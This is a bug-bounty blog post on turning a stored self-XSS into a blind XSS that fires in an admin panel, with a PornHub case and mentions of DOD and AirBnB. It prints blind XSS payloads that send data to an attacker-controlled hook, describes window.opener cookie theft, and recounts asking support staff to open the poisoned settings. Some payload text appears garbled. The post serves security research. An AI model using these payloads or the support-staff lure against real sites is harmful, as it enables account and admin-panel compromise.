One more way to exploit a Stored Self-XSS

Self-XSS is better than no XSS. ©Captain Obvious.

Hello. In this blog post, I will describe one more way to exploit the Self-XSS. Usually, this type of XSS is underestimated because of self-exploitation only.
However, there are a lot of ways to convert it to the good XSS. Things which can be useful in chains:

  • login csrf to attacker’s account with XSS payload (we can have similar to the unauthenticated, but good XSS at once – it acts on behalf of attacker’s account, but still can be useful in deface scenarios);
  • lack of X-Frame-Options header (Clickjacking-related – for example, force the victim to store Self-XSS);
  • X-Frame-Options: Sameorigin + login/logout CSRF (awesome examples here and here);
  • window.opener + login CSRF (works in the browsers which support opener reference, requires an external link on sameorigin to the Stored XSS exploit – attacker posts external link [must be opened in the new window] to the POC somewhere on the vulnerable site, when victim clicks it, POC performs login CSRF to the attacker’s account in the new window, opens page with payload, since both tabs have same origin, XSS payload, despite stored in the attacker’s account, can get access to the victim’s cookies from previous tab through window.opener, and steal them);
  • clipboard bugs (when XSS is executed upon pasting of some text);
  • etc…

But what if we have no such ways to exploit Self-XSS? No login/logout CSRF, X-Frame-Options: Deny set, for example?
This post will describe another approach for the exploitation of Stored Self-XSS. I used it to exploit Stored Self-XSS in such programs as PornHub, DOD, AirBnB

The idea is next:
If we have Stored Self-XSS (for example, in the profile field), then:

  • There is no output sanitization, obviously.
  • With a high probability, there is also no data sanitization in the database field (e.g. data returned as-is).

Now we should think, what if this input also visible in the other places, like admin panel? If it’s exploitable here, it could be exploitable there as well (and in most cases for me it was).
For sure we can put some Blind XSS payload in the profile field, and wait for a pingback. Here comes the next problem – the payload may not work. Not because it’s unexploitable, but because no one on the admin side will visit it, especially if the site has a big count of users. Report without POC isn’t a good report, huh?

PornHub – Self XSS to the Blind Stored XSS

It was a good example of such approach. There was no login CSRF, and safe X-Frame-Options header.
I discovered a Stored Self-XSS in the

page (address section), in the input fields:

I tried some common blind XSS payloads. Now I am using something like

'"><svg onload=fetch('//')>

with different variations to test Blind XSSes, where – my host, and hook – my hook for catching incoming requests, but that time I used XMLHttpRequest, so payload was:

"autofocus/onfocus="thr=new XMLHttpRequest();'GET','//[yourhost]/[yourhook].php?t=&d='+document.domain,true);

It worked for me – I got a request to the hook when I visited the settings page. However, there were no other requests except mine for a couple of time. I created the new account and made one more application with payload – no results. And I did the next thing (which can be considered as social engineering under some circumstances, so be careful, and use it only if you are 99% sure that there is Blind XSS in place) – I contacted with MPP support, and asked to change some information in the settings, which couldn’t be changed from my side. Guess what? After 20 minutes I got a request to my hook from the some PH employee. So I had now the POC that BXSS works. After this, I quickly submitted the report and got the bounty.

I used the same method against some DOD resources when I was sure that Stored Self-XSS could be exploitable on the admin side. It resulted in the two successful authentication bypasses with access to the admin panels. But before using this approach, please, read the program policy carefully.